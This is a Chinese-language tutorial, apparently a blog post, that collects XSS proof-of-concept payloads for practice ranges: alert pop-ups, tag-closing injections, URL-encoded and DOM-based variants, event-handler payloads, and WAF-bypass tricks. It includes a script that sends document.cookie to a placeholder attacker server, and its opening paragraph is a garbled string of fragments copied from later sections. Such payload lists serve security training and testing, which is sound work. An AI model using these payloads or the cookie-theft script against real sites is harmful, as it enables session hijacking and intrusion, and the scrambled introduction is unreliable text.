xss靶场测试POC
这类 POC 用于快速检测漏洞,核心是让浏览器执行一段简单脚本(如弹框)。标签是 HTML5 标准标签,部分 WAF 对其检测较松;后的内容不会发送到服务器,完全在前端解析。被 WAF 过滤后,剩余部分拼接成完整的。注释掉后面的多余内容,避免语法错误。可获取当前域名,便于确认漏洞影响范围。原理:触发 JavaScript 的。若参数未自动解码,需对特殊字符(如。原理:部分 WAF 仅过滤小写的。,
通用基础 POC(验证是否存在 XSS)
这类 POC 用于快速检测漏洞,核心是让浏览器执行一段简单脚本(如弹框)。
-
最基础的弹框 POC
html
预览
<script>alert("XSS")</script>原理:触发 JavaScript 的
alert函数,弹出包含XSS的对话框,证明脚本被执行。 -
标签闭合型 POC(针对输入在 HTML 标签内的场景)若输入被包裹在
<input value="输入点">或<div>输入点</div>中,需先闭合原有标签再注入脚本:html
预览
"><script>alert(1)</script>//说明:
">闭合前面的value属性引号和标签,//注释掉后面的多余内容,避免语法错误。 -
无括号 / 引号的绕过 POC部分场景会过滤括号或引号,可使用简写方式:
html
预览
<script>alert`1`</script>原理:ES6 模板字符串支持用反引号
`代替括号。
二、 反射型 XSS 专用 POC
反射型 XSS 的脚本通过 URL 参数传入,仅在当前请求中生效,常用 POC 需适配 URL 编码场景:
-
URL 编码后的 POC若参数未自动解码,需对特殊字符(如
<>/")进行 URL 编码:plaintext
%3Cscript%3Ealert(%22XSS%22)%3C/script%3E对应原始脚本:
<script>alert("XSS")</script> -
img 标签绕过 POC(无 script 标签场景)若
script标签被过滤,可使用img等标签的事件属性触发脚本:html
预览
<img src=x onerror=alert(1)>原理:
src=x构造无效图片地址,触发onerror事件执行alert。
三、 存储型 XSS 专用 POC
存储型 XSS 的脚本会被服务器存储(如留言板、数据库),所有访问该页面的用户都会触发,POC 需更隐蔽且稳定:
-
持久化弹框 POC
html
预览
<svg onload=alert(document.domain)>说明:
svg标签是 HTML5 标准标签,部分 WAF 对其检测较松;onload事件在标签加载时触发;document.domain可获取当前域名,便于确认漏洞影响范围。 -
利用 iframe 的 POC(用于窃取 Cookie 等操作)
html
预览
<script>document.location='http://你的服务器/steal?cookie='+document.cookie</script>原理:将当前页面的
cookie发送到攻击者服务器,靶场测试时需替换为自己的测试服务器地址。
四、 DOM 型 XSS 专用 POC
DOM 型 XSS 不经过服务器,直接通过前端 JavaScript 操作 DOM 触发,POC 需针对 DOM 注入点设计:
-
利用 innerHTML 的 POC若前端通过
element.innerHTML = 输入内容渲染页面,可直接注入:html
预览
<img src=1 onerror=alert('DOM XSS')> -
利用 location.hash 的 POC若注入点是
location.hash(URL 中#后的部分),POC 可写为:html
预览
#<script>alert(1)</script>说明:
#后的内容不会发送到服务器,完全在前端解析。
五、 绕过 WAF 的进阶 POC
若靶场有 WAF(Web 应用防火墙)过滤关键词,可使用以下绕过技巧:
-
大小写混淆绕过
html
预览
<ScRiPt>alert(1)</ScRiPt>原理:部分 WAF 仅过滤小写的
script标签,大小写混合可绕过检测。 -
标签嵌套绕过
html
预览
<scr<script>ipt>alert(1)</scr</script>ipt>原理:中间的
<script>被 WAF 过滤后,剩余部分拼接成完整的<script>alert(1)</script>。 -
利用 HTML 实体编码绕过
html
预览
<script>alert(1)</script>说明:
<对应<,>对应>,部分前端会自动解码实体并执行。
重要注意事项
- 所有 POC仅可在授权的靶场、测试环境中使用,未经授权测试他人网站属于违法行为。
- 不同靶场的过滤规则不同,需根据实际情况调整 POC(如过滤
alert可替换为confirm或console.log)。
更多推荐
所有评论(0)